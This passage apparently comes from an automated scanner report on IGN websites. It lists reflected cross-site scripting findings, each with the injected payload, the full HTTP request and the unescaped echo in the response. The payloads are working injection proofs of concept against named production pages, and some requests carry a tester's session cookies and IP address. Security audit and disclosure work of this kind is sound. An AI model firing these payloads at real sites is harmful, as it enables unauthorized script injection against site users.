GET /pc_games_and_more/c5060?771e2"style%3d"x%3aexpression(alert(1))"7f50f9fa2d2=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:33 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:33 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5060; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 76348

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

PC Games and Mo
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/pc_games_and_more/c5060?771e2"style="x:expression(alert(1))"7f50f9fa2d2=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.75. http://boards.ign.com/playstation_boards/c5058 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/playstation_boards/c5058

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b88ff"style%3d"x%3aexpression(alert(1))"3782c71c347 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b88ff"style="x:expression(alert(1))"3782c71c347 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /playstation_boards/c5058?b88ff"style%3d"x%3aexpression(alert(1))"3782c71c347=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:42 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5058; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 81438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

PlayStation Boa
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/playstation_boards/c5058?b88ff"style="x:expression(alert(1))"3782c71c347=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.76. http://boards.ign.com/tv/c5026 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/tv/c5026

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5659d"style%3d"x%3aexpression(alert(1))"d0b714997f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5659d"style="x:expression(alert(1))"d0b714997f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /tv/c5026?5659d"style%3d"x%3aexpression(alert(1))"d0b714997f=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:43 GMT
Server: Microsoft-IIS/6.0
p3p:CP='NOI ADMa OUR STP'
X-Powered-By:ASP.NET
cluster-server:ignprdappw64212
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:43 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5026; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 67934

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

TV - IGN Boards
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/tv/c5026?5659d"style="x:expression(alert(1))"d0b714997f=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.77. http://boards.ign.com/xbox_360_boards/c5056 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://boards.ign.com
Path:	/xbox_360_boards/c5056

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85096"style%3d"x%3aexpression(alert(1))"83a44cb2b94 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 85096"style="x:expression(alert(1))"83a44cb2b94 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /xbox_360_boards/c5056?85096"style%3d"x%3aexpression(alert(1))"83a44cb2b94=1 HTTP/1.1
Host: boards.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:11:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
P3P: CP="TST"
X-AspNetMvc-Version: 1.0
Set-Cookie: BoardCookieV3%5Fboards%2Eign%2Ecom=dc=no&ra=False; expires=Tue, 07-Feb-2012 01:11:36 GMT; path=/; HttpOnly
Set-Cookie: CategoryView=5056; path=/
Cache-Control: private
Expires: Wed, 07 Feb 2001 01:11:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 74412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>

Xbox 360 Boards
...[SNIP]...
<a href="/User/ChangeTheme?theme=Ign2009&returnUrl=http://boards.ign.com/xbox_360_boards/c5056?85096"style="x:expression(alert(1))"83a44cb2b94=1&x=1" title="Switch to the white theme">
...[SNIP]...

3.78. http://cheats.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cd43"><script>alert(1)</script>bc6f5a7fbe9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?7cd43"><script>alert(1)</script>bc6f5a7fbe9=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 00:58:46 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-885768600-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:58:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 568774

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/?7cd43"><script>alert(1)</script>bc6f5a7fbe9=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.79. http://cheats.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 778c0"-alert(1)-"0daba286c40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?778c0"-alert(1)-"0daba286c40=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 00:58:52 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32465-2017572462-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 00:58:52 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297040332605v-1n-12mc+1297040332605mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 568696

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/?778c0"-alert(1)-"0daba286c40=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.80. http://cheats.ign.com/index/cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff66c"><script>alert(1)</script>3b17bfe17cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/cheats/index.html?ff66c"><script>alert(1)</script>3b17bfe17cb=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:05 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 138790

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/cheats/index.html?ff66c"><script>alert(1)</script>3b17bfe17cb=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.81. http://cheats.ign.com/index/cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ace91"-alert(1)-"91fa5ed4333 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/cheats/index.html?ace91"-alert(1)-"91fa5ed4333=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:10 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 138731

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/cheats/index.html?ace91"-alert(1)-"91fa5ed4333=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.82. http://cheats.ign.com/index/nintendo-ds-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/nintendo-ds-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9af17"><script>alert(1)</script>af6bcff7071 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/nintendo-ds-cheats/index.html?9af17"><script>alert(1)</script>af6bcff7071=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:03 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 127678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/nintendo-ds-cheats/index.html?9af17"><script>alert(1)</script>af6bcff7071=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.83. http://cheats.ign.com/index/nintendo-ds-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/nintendo-ds-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0fc8"-alert(1)-"3c528f0452e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/nintendo-ds-cheats/index.html?c0fc8"-alert(1)-"3c528f0452e=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:06 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 127618

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/nintendo-ds-cheats/index.html?c0fc8"-alert(1)-"3c528f0452e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.84. http://cheats.ign.com/index/pc-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/pc-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8b25b"-alert(1)-"859129d34f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/pc-cheats/index.html?8b25b"-alert(1)-"859129d34f=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:00 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 140541

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
